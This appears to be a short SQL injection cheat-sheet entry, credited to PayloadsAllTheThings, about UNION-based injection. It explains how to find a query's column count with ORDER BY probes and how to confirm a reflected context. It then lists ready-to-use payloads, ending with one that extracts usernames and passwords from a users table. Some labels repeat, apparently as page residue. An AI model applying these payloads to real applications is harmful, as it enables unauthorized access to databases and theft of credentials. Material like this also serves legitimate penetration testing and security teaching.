ORDER BY 1
UNION-based
' ORDER BY 1-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based injection is the fastest path to data when the application reflects query results in its response. First find the column count with ORDER BY probes, then append a UNION SELECT whose column count and types line up with the original query. Prerequisite: the injectable query must return its rows to the page (a reflected context).
How to confirm: ORDER BY n stops erroring at the true column count; a UNION SELECT with matching columns then renders your injected values (version, database name, extracted fields) in the normal response body.
UNION-based
' ORDER BY 1-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based
' ORDER BY 2-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based
' UNION SELECT NULL, NULL-- Probe column count with NULL placeholders.
PayloadsAllTheThings referenceUNION-based
' UNION SELECT username, password FROM users LIMIT 1-- Column count must match original query. Reflect column 1 in the app response.
PayloadsAllTheThings reference